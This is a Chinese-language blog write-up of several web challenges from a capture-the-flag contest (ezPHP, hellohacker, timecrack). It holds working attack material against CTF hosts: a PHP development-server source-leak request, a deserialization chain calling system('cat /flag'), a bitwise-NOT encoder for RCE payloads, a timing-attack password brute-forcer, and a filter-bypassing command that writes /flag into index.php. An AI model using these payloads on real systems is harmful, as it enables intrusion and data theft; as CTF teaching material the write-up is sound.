wp 前言 因为一些事情,只抽出了一点时间打比赛,最后10分钟看了ezPHP,没想到有思路,但是比赛结束才出。。。(上次蜀道山也是 这次比赛打的很不尽人意,特别是hellohacker
,基础RCE掌握还是不够扎实。 不出意外应该是2024年第二篇也是最后一篇博客了,要与期末考试对线了。 demo,我不会止步于此的!!!这个寒假我一定要好好沉淀,不再拖inkey爹和洋参的后腿(呜呜呜
ezPHP 0x01 进入题目,全是404
,扫到flag.php,结合PHP<= 7 . 4 . 21 development server
源码泄露漏洞
利用POC
获取源码,注意回车
GET /flag.php HTTP/1.1 Host : challenge.wucup.cn:39391GET /Kawakaze HTTP/1.1
获取源码后利用call_user_func打反序列化,同时利用S绕过正则
<?php error_reporting (0 );class a { public $OAO ; public $QAQ ; public $OVO ; public function __toString ( ) { if (!preg_match ('/hello/' , $this ->OVO)){ if ($this ->OVO === "hello" ) { return $this ->OAO->QAQ; } } } public function __invoke ( ) { return $this ->OVO; } } class b { public $pap ; public $vqv ; public function __get ($key ) { $functioin = $this ->pap; return $functioin (); } public function __toString ( ) { return $this ->vqv; } } class c { public $OOO ; public function __invoke ( ) { @$_ = $this ->OOO; $___ = $_GET ; var_dump ($___ ); if (isset ($___ ['h_in.t' ])) { unset ($___ ['h_in.t' ]); } var_dump ($___ ); echo @call_user_func ($_ , ...$___ ); } } class d { public $UUU ; public $uuu ; public function __wakeup ( ) { echo $this ->UUU; } public function __destruct ( ) { $this ->UUU; } } $a =new d ();$a ->UUU=new a ();$a ->UUU->OVO='hell%6f' ;$a ->UUU->OAO=new b ();$a ->UUU->OAO->pap=new c ();$a ->UUU->OAO->pap->OOO='system' ;echo serialize ($a );
...$___解析$_GET参数,并取value,则在GET中构造1=cat /flag
hellohacker 0x01 第一眼看见
$required_chars = ['p' , 'e' , 'v' , 'a' , 'n' , 'x' , 'r' , 'o' , 'z' ];
以为是/var/log/nginx/access.log + UA
注入,发现失败
0x02 尝试绕过checkRequiredChars
,经过测试发现需要上述字母连在一起进行排列组合,下载下来prohibited.txt
import requestsurl = "http://challenge.wucup.cn:33132/prohibited.txt" response = requests.get(url) if response.status_code == 200 : with open ("file.txt" , "wb" ) as file: file.write(response.content) print ("文件下载成功!" ) else : print (f"下载失败,状态码:{response.status_code} " )
排列组合找出缺失的组合,缺失的组合为oxzverapn
from itertools import permutationsletters = "pevanxroz" all_permutations = set ("" .join(p) for p in permutations(letters)) with open ("file.txt" , "r" ) as file: file_permutations = set (line.strip() for line in file) missing_permutations = all_permutations - file_permutations print (f"缺失的组合数量: {len (missing_permutations)} " )if missing_permutations: print ("以下组合缺失:" ) for perm in missing_permutations: print (perm) else : print ("没有缺失的组合。" )
0x03 取反RCE
import urllib.parsedef custom_urlencode (data ): return '' .join(f'%{ord (char):02X} ' for char in data) system = input ('[+]your function: ' ).strip() command = input ('[+]your command: ' ).strip() inverted_system = '' .join([chr (~ord (c) & 0xFF ) for c in system]) inverted_command = '' .join([chr (~ord (c) & 0xFF ) for c in command]) encoded_system = custom_urlencode(inverted_system) encoded_command = custom_urlencode(inverted_command) print (f"[*] (~{encoded_system} )(~{encoded_command} );" )
timecrack 0x01 爆破一分钟,每一分钟的第0秒,随机生成的password为114
import timeimport requestsurl = "http://challenge.wucup.cn:47579/" data = { "input" : "114" } while True : try : response = requests.get(url, params=data) print (f"Status Code: {response.status_code} " ) if "The next challenge in" in response.text: print (f"Success! Response: {response.text} " ) break else : print (f"w36" ) time.sleep(1 ) except requests.exceptions.RequestException as e: print (f"An error occurred: {e} " ) break
0x02 利用时间
爆破8位数字密码
import timeimport requestsurl = "http://challenge.wucup.cn:47579/Trapping2147483647.php" password_length = 8 password = "" for position in range (password_length): for digit in range (10 ): test_pass = password + str (digit) test_pass = test_pass.ljust(password_length, "0" ) start_time = time.time() response = requests.post(url, data={"pass" : test_pass}) elapsed_time = time.time() - start_time print (f"Testing: {test_pass} , Time: {elapsed_time:.2 f} s, Response: {response.text.strip()} " ) if elapsed_time > (position + 1 ): password += str (digit) print (f"Found digit: {digit} , Current password: {password} " ) break print (f"Cracked password: {password} " )
0x03 无回显RCE
利用tee
外带到index.php,过滤了空白符
和{}
,利用$IFS$9
绕过
payload
:tac$IFS$9/flag|tee$IFS$9index.php
signin ·AntSword